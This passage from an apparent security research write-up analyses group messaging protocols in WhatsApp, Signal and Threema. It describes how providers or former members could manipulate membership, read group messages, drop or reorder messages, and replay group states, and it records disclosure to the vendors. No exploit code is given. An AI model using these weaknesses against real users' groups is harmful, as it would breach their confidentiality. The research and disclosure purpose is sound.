In addition to these standard requirements, we also evaluated the protocols' security guarantees if the client's secrets were revealed (forward secrecy and future secrecy).

Our Approach

We analyzed the mentioned protocols by reading the source code and debugging the apps. We also used alternative open source implementations of Threema and WhatsApp as a help and we traced the network traffic. When using alternative implementations, we only took incoming traffic into account, which was generated by official applications. Thereby we extracted the protocol descriptions and evaluated them regarding the defined requirements.

Our Findings

In WhatsApp and Threema, the provider was able to manipulate the set of members. Threema only allowed the provider to rewind the set of members to a previous state. As a consequence previously removed members could have been added to the group again. The WhatsApp provider is able to arbitrarily manipulate the member set. Thereby further members and administrators can be added to the group. Since the authenticity of group manipulation is not protected, the WhatsApp provider can set the real group administrator as the source of manipulation even though this administrator was not active.

Since Signal's key exchange protocol provides future secrecy, we also evaluated the protocol's ability to recover into a secure group state after a member's state was compromised. The essential weakness here is that a sender only needs to know the static group ID to send a message to the group. If a group member receives a message with the correct group ID, no verification regarding the current member set takes place but the message is directly added to the group communication. Consequently it is sufficient to retrieve the group ID in order to send messages to the group. Since Signal treats content messages the same way as messages for the manipulation of the group set, an attacker who knows the group ID can add herself to the group and thereby read the subsequent group communication.

In addition to this, in all cases the delivery state of sent messages was not securely provided. Threema's group chats do not inform the sender about the delivery state while Signal and WhatsApp do not protect the delivery information on the end-to-end layer. Therefore the central provider can forge this information and drop messages without letting the communicating parties detect this.

Also the order of messages was manipulable for the providers of the applications such that the provider is able to deliver the messages in a different order than they were sent. Threema's weakness of rewinding a group state results from missing replay attack protection.

Impact of Weaknesses

Even though end-to-end encryption is implemented in all analyzed applications, the central providers can largely manipulate the communication in groups and partially also read it.
In all applications, the provider can undetectably drop and reorder messages during the delivery and thereby manipulate the view of the communication such that further attacks can be obfuscated.
The central servers of WhatsApp can be used to add arbitrary users to groups and thereby receive their communication.
To achieve the same result for Signal, it suffices to retrieve the group ID. An earlier member who left the group once still knows this ID since it is static. However, in contrast to WhatsApp, the origin of the manipulation is correctly displayed in the Signal application (which was not the fact when we started our analysis).

As a result, the end-to-end protection of WhatsApp is not sufficient to reach confidentiality in groups. For Signal no future secrecy is reached in groups and Threema was vulnerable to replay attacks which resulted in further weaknesses.

Responsible Disclosure

We disclosed our findings to the developers and received varying response. Threema updated their protocol in version 3.14 such that our attacks are not feasible anymore. Moxie Marlinspike responded that Signal is "working on an entirely new group mechanism that we should be deploying soon". WhatsApp did not hold out the prospect of fixing the described vulnerabilities (Update 01/18: According to Facebook's Security Head, the invite links make a fix more difficult [1]; we proposed a way to solve this issue [2]).

[1] https://twitter.com/alexstamos/status/951169036947107840
[2] https://web-in-security.blogspot.de/2018/01/group-instant-messaging-why-baming.html

More articles

1. Pentest Tools For Windows
2. Pentest Devices
3. Hackerrank
4. Hacker Website
5. Pentest Standard
6. Hacking Bluetooth
7. Pentest Report
8. Pentest Guide
9. Pentest Nmap
10. Pentest Uk
11. Pentest Certification
12. Pentest
13. Hacking For Dummies
14. Pentest+ Vs Oscp
15. Pentest Documentation
16. Pentest Keys
17. Pentest Dns Server
18. Pentest Distro
19. Pentest Linux
20. Pentest Dns Server